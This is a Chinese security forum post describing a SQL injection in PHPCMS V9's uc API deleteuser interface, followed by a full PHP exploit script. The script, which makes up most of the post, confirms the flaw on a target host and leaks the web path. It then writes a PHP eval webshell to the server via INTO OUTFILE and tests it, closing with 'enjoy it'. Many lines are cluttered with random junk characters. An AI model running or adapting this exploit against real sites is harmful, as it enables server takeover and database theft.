找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2001|回复: 0
打印 上一主题 下一主题

PHPCMS V9 uc API SQL注入漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-9 01:22:59 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
PHPCMS V9版于2010年推出,是应用较为广泛的建站工具。第三方数据显示,目前使用PHPCMS V9搭建的网站数量多达数十万个,包括联合国儿童基金会等机构网站,以及大批企业网站均使用PHPCMS V9搭建和维护。
' a7 S7 i* `1 m! C# ~% O" b5 n" i! o+ v: S& }0 }( Y$ q! w
所有使用PHPCMSV9搭建的网站均存在SQL注入漏洞,可能使黑客利用漏洞篡改网页、窃取数据库,甚至控制服务器。未启用ucenter服务的情况下,uc_key为空,define('UC_KEY', pc_base::load_config('system', 'uc_key'));deleteuser接口存在SQL注入漏洞。若MYSQL具有权限,可直接get webshell。
4 O% A6 ?. T' B+ N" t1 Z9 ]$ E2 J- ~6 O8 N" a/ S6 m9 _
漏洞分析:- y9 [" U; y& O. S& S, Q9 T) P: e
1.未启用ucenter服务的情况下uc_key为空
6 e6 V5 k+ Z: W3 a( K6 n7 {define('UC_KEY', pc_base::load_config('system', 'uc_key'));- d' p) A( O6 _1 j5 ?
2. deleteuser接口存在SQL注入漏洞,UC算法加密的参数无惧GPC,程序员未意识到$get['ids']会存在SQL注入情况。$ v7 j- v$ L( |( T, y& G& k
    public function deleteuser($get,$post) {
: S2 @2 f0 M# v' g5 h  Y, I        pc_base::load_app_func('global', 'admin');3 z# b! F% q, X. ]" J- a  s) K
        pc_base::load_app_class('messagequeue', 'admin' , 0);+ s, W( Y# j1 j- s- [# `
        $ids = new_stripslashes($get['ids']);6 u# {$ Y6 a3 R& m+ ^3 P
        $s = $this->member_db->select("ucuserid in ($ids)", "uid");8 \# ?% b& }( {- ^5 T4 |$ U
SQL语句为- c9 Q( p- M1 ]7 X2 r  l
SELECT `uid` FROM `phpcmsv9`.`v9_sso_members` WHERE ucuserid in ($ids)
+ u3 w. k( L: J3 l9 |( H4 a# ^0 O, l+ B" i% l/ a
利用代码,随便拼了个EXP,找路径正则写得很挫有BUG,没有注其他表了,懒得改了,MYSQL有权限的话直接get webshell
* |! r- d9 T5 a+ X2 ]+ l<?php
# H( \0 \3 I  \% n/ sprint_r('# \3 n1 i9 A9 p
---------------------------------------------------------------------------, g5 c( U6 z- y& u. n! R
PHPcms (v9 or Old Version) uc api sql injection 0day4 U: a0 N, Q# ~# [( T( P6 @3 z! L
by rayh4c#80sec.com
) X* @! x7 H! j0 B5 k5 _. D! ~$ Q" H---------------------------------------------------------------------------  e6 N/ h1 g0 _: D
');/ c$ d4 R3 Z- q
$ m) G9 ?0 l8 W2 `4 b7 W6 q
if ($argc<3) {
, h# U- _# O; @: W, I, R; P    print_r('
+ f" {$ H  m- z/ E---------------------------------------------------------------------------1 k7 B$ u& c2 Z/ S; ], }
Usage: php '.$argv[0].' host path OPTIONS
- q5 d+ p8 w7 e9 whost:      target server (ip/hostname)1 i( C: l: @% b
path:      path to phpcms
3 o, `1 `, q: y) x4 D  J, J: MOptions:
6 T3 T& U$ f  ~: T+ V& ` -p[port]:    specify a port other than 80
0 Y$ Y5 X3 I0 X7 I& w' M7 u$ O) r7 } -P[ip:port]: specify a proxy; W/ U1 X: C7 O7 x! `+ u: m
Example:
0 [0 }5 M( `; r; K2 Fphp '.$argv[0].' localhost /4 U% W' q! q2 m7 M$ p  [
php '.$argv[0].' localhost /phpcms/ -p81
; [5 i. }7 {# H+ Ephp '.$argv[0].' localhost /phpcms/ -P1.1.1.1:80
9 _6 R, l$ T) [1 c3 `$ l& e; J---------------------------------------------------------------------------
- b" K5 u1 e9 j2 D3 z& W');
) v# |! s0 r( ]5 P! K    die;
2 N7 d* @+ J/ I: n9 U) s}
( A. a2 u: c0 m  \$ ^2 |0 d$ d/ \6 X6 P' f5 \: b9 T0 W
error_reporting(7);) J0 q/ ]" s" D
ini_set("max_execution_time",0);/ v1 _/ b$ H* g/ }; A  w7 T7 ]
ini_set("default_socket_timeout",5);
/ L; g8 d5 r6 y; l7 i4 `9 }5 o5 g# I7 `# G
function quick_dump($string)
% J6 b$ T# V* n) q7 I; f$ c{
! {, z$ G2 x  D; N  $result='';$exa='';$cont=0;4 ?5 s# D5 O4 J  ~1 I
  for ($i=0; $i<=strlen($string)-1; $i++)6 v9 T. I: S7 Q: ^4 T4 G
  {
" `0 a* a7 S* R6 F  \- h   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))8 `( W2 [' [  G# s, A
   {$result.="  .";}2 {6 ?+ I& N" o2 c( s* @5 [
   else
7 u8 F& l, D' {+ K  q) b   {$result.="  ".$string[$i];}
: C: M( }# Y, Q4 o( y! ]   if (strlen(dechex(ord($string[$i])))==2)/ t, G- m0 ]2 V4 d( H
   {$exa.=" ".dechex(ord($string[$i]));}
7 s5 K: ?) S, G6 I' u' e$ Z   else5 M3 U) {! c& ^% a. E$ [! Y
   {$exa.=" 0".dechex(ord($string[$i]));}
- `4 F3 R5 p- @) h   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}9 E1 W( w( n7 X7 O
  }! @/ a8 R+ \1 R9 u! `8 X
return $exa."\r\n".$result;
0 A" S$ H! i2 y}4 z# w# K& h7 H$ q& _
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
! P! M0 }. X; C  h- \2 |& x3 t* D' Z
function send($packet)
8 @7 r8 T9 I! W: t! |{% p: _5 D4 B- `
  global $proxy, $host, $port, $html, $proxy_regex;
$ _1 f  j  [, |8 J' X9 t# D  if ($proxy=='') {
2 i) ~$ a9 q. {+ @! H$ j, v' K) v4 r    $ock=fsockopen(gethostbyname($host),$port);: [0 ^* _. G; _" X6 A
    if (!$ock) {
# m1 Y1 U) r8 G! Z      echo 'No response from '.$host.':'.$port; die;
7 F4 y" E5 ^2 {6 \; U# {    }
1 y5 {/ v- N+ F) W  ~3 ]# t  }
: k8 @- t0 U5 ~3 {! M/ q! h) e, D9 B  else {
  y$ J% D8 i8 X1 F        $c = preg_match($proxy_regex,$proxy);8 a+ D8 f6 E! u' `/ t
    if (!$c) {
- Y. I& ~# m% b      echo 'Not a valid proxy...';die;" \% n, }6 v! i
    }, m7 f2 @  K; Y! r- q( @5 f( f
    $parts=explode(':',$proxy);$ {; O" r) D  E3 W, R
    $parts[1]=(int)$parts[1];
9 e* y6 C0 s! P! D; w; U    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
4 ~4 w1 o" ~- ^* z    $ock=fsockopen($parts[0],$parts[1]);
4 \; j; @- k4 i5 ^9 C8 S" S    if (!$ock) {9 ^+ [  ~: J6 H; Y5 [4 |6 i
      echo 'No response from proxy...';die;
8 X3 T9 R9 _3 ]        }. A# i" @* q2 y. w3 E1 B  L- ~
  }% L' d4 X; y% P) V
  fputs($ock,$packet);/ ?- ?5 _) e9 r4 k( ^. V
  if ($proxy=='') {" S9 `3 }: \! j' `
    $html='';
) k7 Y+ y1 \- E6 I; b    while (!feof($ock)) {
. T$ }2 r5 e1 D& Y  I      $html.=fgets($ock);
2 |" N5 e7 Z( c2 f    }4 l6 F1 C& s7 _# R7 ?: S! C7 [5 r
  }$ ]. Z8 i+ i: i
  else {
: S6 k7 I# L7 H- d0 {    $html='';  w* V1 G- q3 x+ D
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {9 `" L3 y+ R0 G- F/ e
      $html.=fread($ock,1);9 i. w4 j) t8 q6 F2 c) C
    }5 O+ n2 a( x8 ?, k9 q% I6 y
  }
8 g4 r2 D9 z! }  N  fclose($ock);3 F% u& M2 {$ y" ]. [8 |/ @
}
% D7 D1 Z! Y+ |/ K. _, ~; _% w- a2 f! o9 |7 Q5 D
$host=$argv[1];; q- R8 o  ?) j: ?# z; ]' c
$path=$argv[2];
, p! `8 n+ G9 G; T% G6 L$port=80;
& `9 j5 ~0 J5 L$proxy="";
: S. @, A6 e* H3 n+ A6 N3 Z9 H/ jfor ($i=3; $i<$argc; $i++){
: q3 u( q+ Z. `# |$ k$temp=$argv[$i][0].$argv[$i][1];
1 P6 v; Q4 x* z# rif ($temp=="-p")$ k. p, O& p0 Q, ]& S  K; t. i
{/ `1 x6 K: ^" N
  $port=(int)str_replace("-p","",$argv[$i]);
" x5 q% V2 g6 X% }  u}& [! K4 |, Q1 k4 T& m% S7 |3 ]
if ($temp=="-P"), u- m4 T* h0 V: W2 w
{
: _& _% b+ E1 ]4 @; q  $proxy=str_replace("-P","",$argv[$i]);6 B& [2 S5 A  O/ U
}
7 f$ A3 [8 j/ D}# @( ~2 p9 d  f+ V/ K/ p: b

! D5 i& V' W4 A" O( C$ B# ]if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}6 T3 ^! J" y4 Z' X# e9 O. \7 L
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}0 P# }: L1 E' Z  \) n( G

& T9 m9 i" U* {) t) p  z. {function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
2 D) Y. K/ E3 n( Z2 I/ O- X5 e. z7 r3 c9 `8 p7 }
    $ckey_length = 4;# @4 ~1 D+ F2 I8 c
4 \9 S9 {. m4 v/ g# a4 @9 ^/ t1 T
    $key = md5($key ? $key : '');
  |$ c' @' H+ q+ S6 R, c( V    $keya = md5(substr($key, 0, 16));
9 O0 f2 a( ~$ q6 ^    $keyb = md5(substr($key, 16, 16));
  @  a  o9 c7 L' t2 ]    $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
" n* [( S( k2 O, s9 _* K& P! \' l  l; `
    $cryptkey = $keya.md5($keya.$keyc);; j0 k0 D; _' d  t1 d' [% D
    $key_length = strlen($cryptkey);
$ |# O! E, ], J2 p" O9 q" L' ]5 N5 h' X% \
    $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
, h$ I% }' j% @) ]    $string_length = strlen($string);
$ Z- R# u  u0 g# s* L. L- K9 S7 d7 Z8 ^- B
    $result = '';7 [9 N9 f7 X6 [' Q
    $box = range(0, 255);0 L1 @! t& `2 M" }$ u0 q$ X; x: p

7 n7 _8 }" }2 R$ ^) W' D3 _    $rndkey = array();
. Z, E; g6 g9 ?) i/ t  f* n& k) D    for($i = 0; $i <= 255; $i++) {) l+ G) k0 N: W) m' p& j# ?
        $rndkey[$i] = ord($cryptkey[$i % $key_length]);
" H! W, t$ y  T, Q5 A    }
" G* z, F: P$ l- b
* q3 N7 i5 O$ X    for($j = $i = 0; $i < 256; $i++) {
+ @0 G( s; {& u' s9 E& z        $j = ($j + $box[$i] + $rndkey[$i]) % 256;
0 B* Q* z2 d3 d* _. C- @4 H        $tmp = $box[$i];6 q- U1 z6 T8 v' B( Y' \
        $box[$i] = $box[$j];- A; a+ Z5 @  v5 j: f# W
        $box[$j] = $tmp;& ]/ t( S0 E" c
    }3 P) [+ g& T% {+ ]

& G5 O- t6 B- n$ z    for($a = $j = $i = 0; $i < $string_length; $i++) {; ?/ H: o0 Z  x! \' R5 q
        $a = ($a + 1) % 256;0 X0 V/ f# x! B4 ?* T3 v
        $j = ($j + $box[$a]) % 256;
4 x: t; w! F5 |7 X8 ~$ P* z6 f        $tmp = $box[$a];% X0 H; o7 D$ t/ r
        $box[$a] = $box[$j];& Q( a: f  e% |- w3 }$ A
        $box[$j] = $tmp;! g% e& c/ h1 |/ z; a
        $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));3 l# E, o3 p2 c/ O8 W, t" |. |6 L
    }& F- T, B: u" M2 A4 Z

& O% `& u: o' G  C% j) Q) D    if($operation == 'DECODE') {  S; J1 d. [. n
        if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {: u4 y1 ^6 Z; A! t2 s
            return substr($result, 26);9 y4 N' }1 X6 J9 |0 {0 ], N
        } else {, |2 z/ w0 w7 J+ d+ S& V
            return '';0 |: Y" W$ @0 i# s6 m
        }
# A# u! p( [. ^0 T" q' k    } else {
/ o9 R0 H6 q* V# h$ u/ G4 T4 i        return $keyc.str_replace('=', '', base64_encode($result));
! X' M4 y$ @9 w; g& Q    }
* R4 h5 ~0 C! q+ t$ k
$ _! i6 v. |: h; v4 r0 g& X" A1 Q6 m}! r6 R$ h2 c- q% Q% p8 C
: @$ s: z6 I. W3 C+ z! Z' |
$SQL = "time=999999999999999999999999&ids=1'&action=deleteuser";
+ a# i. |0 g" W, N/ \$SQL = urlencode(authcode($SQL, "ENCODE", ""));3 K; c9 R7 |, l$ S4 I  O0 r; l
echo "[1] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";
- v- M9 B' [0 `* _9 T: c$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";
# `3 A% [, S" L6 s5 r& m$packet.="User-Agent: Mozilla/5.0\r\n";
* p6 K" D: r; A; f2 H$packet.="Host: ".$host."\r\n";' x$ R) i  W- h
$packet.="Connection: Close\r\n\r\n";
* V: R* }0 m! \, _$ [send($packet);
# Y. |7 \! ]9 F- c- f; K2 ^* }- oif(strpos($html,"MySQL Errno") > 0){
) V5 Q8 o; H( @6 Z2 N; ?echo "[2] 发现存在SQL注入漏洞"."\n";1 i3 ]% g2 ]' y1 v
echo "[3] 访问 http://".$host.$p."phpsso_server/api/logout.php \n";
: R$ |- ]. X& g7 l. w# r' Z! \$packet ="GET ".$p."phpsso_server/api/logout.php"." HTTP/1.0\r\n";" Y* }7 k. o4 m  z9 v3 J; I8 _) |: f
$packet.="User-Agent: Mozilla/5.0\r\n";
' O3 H/ F, F0 P9 o$ p/ n( V) `% ~0 F$packet.="Host: ".$host."\r\n";* m/ h2 g4 A+ w4 p$ Z
$packet.="Connection: Close\r\n\r\n";
, j3 |& S2 ?; }- N% l1 K8 ]* esend($packet);8 a6 K* z1 u/ b: J6 A( l: ^; D' z( O
preg_match('/[A-Za-z]?[:]?[\/\x5c][^<^>]+[\/\x5c]phpsso_server[\/\x5c]/',$html, $matches);/ G6 X! q6 W( S; t9 ~1 S
//print_r($matches);  ~) ^" {& }8 P  r
if(!empty($matches)){' Q" p& d9 y9 q. V
echo "[4] 得到web路径 " . $matches[0]."\n";
% E1 T& r' D" |) _* }echo "[5] 尝试写入文件 ". str_replace("\\","/",$matches[0]) ."caches/shell.php"."\n";: m5 ~% V1 W# l& x( s
$SQL = "time=999999999999999999999999&ids=1)";. i& {8 I2 r" N: x; Y) e0 D8 ^
$SQL.=" and 1=2 union select '<?php eval($"."_REQUEST[a]);?>' into outfile '". str_replace("\\","/",$matches[0]) ."caches/shell.php'#";
5 v* S, m; b/ M, X+ t3 x" f$SQL.="&action=deleteuser";
1 `7 a/ [- s% Z6 L6 U7 i# v$SQL = urlencode(authcode($SQL, "ENCODE", ""));3 o4 ~' V$ _2 F( u% ~1 @0 v9 R
echo "[6] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";$ w& g7 A5 S1 m5 h& \( y. b
$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";0 f6 C3 _! _' a. U! `- l
$packet.="User-Agent: Mozilla/5.0\r\n";& ?  w2 d. D% b+ K; B2 l
$packet.="Host: ".$host."\r\n";" e* u& |% w+ i8 B" a2 i: d" T
$packet.="Connection: Close\r\n\r\n";- U5 f) J2 f, @: E" G( o
send($packet);  M: y; B7 s7 b3 V$ K. k* e2 R. e
if(strpos($html,"Access denied") > 0){' P9 n% |5 c! y6 \2 d. N; B
echo "[-] MYSQL权限过低 禁止写入文件 ";/ ~) K* M* l- N4 G  B+ n
die;% p8 v' w- F1 r' e9 c
}$ `/ I+ a. I6 }+ j+ p
echo "[6] 访问 http://".$host.$p."phpsso_server/caches/shell.php"."\n";
0 M3 k" m* P. l& L$packet ="GET ".$p."phpsso_server/caches/shell.php?a=phpinfo(); HTTP/1.0\r\n";% t* I. Y- a7 J, c$ B  z
$packet.="User-Agent: Mozilla/5.0\r\n";
3 a+ E, Z* g! W) _$packet.="Host: ".$host."\r\n";
: D, q  l% T' D% W) y8 ?" |/ d+ t$packet.="Connection: Close\r\n\r\n";+ E' s1 L8 C$ L, X: W- _) Z  K
send($packet);; M  ~8 ~" u0 d' V
if(strpos($html,"<title>phpinfo()</title>") > 0){
, p  U$ ?6 T0 S8 y. }+ Y8 Fecho "[7] 测试phpinfo成功!shell密码是a ! enjoy it ";, F. L3 h% T, _
}
  w: @$ H3 b% d( y  U& T}else{
1 D$ x8 o  Z+ i% U( Pecho "[-]未取到web路径 ";' ~6 o. G/ ^' u/ T9 x6 P, {
}! {/ g. K5 \% j
}else{' U5 v- E, u3 {) g+ Q
echo "[*]不存在SQL注入漏洞"."\n";6 e2 \6 n" `% u7 x. F/ b! f8 [
}
; g: ~' b5 s* [8 Q0 Z' @, P# z3 [
8 {: c# S* E$ c+ @- r$ f?>
; K7 X, O  F9 I5 k: B
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表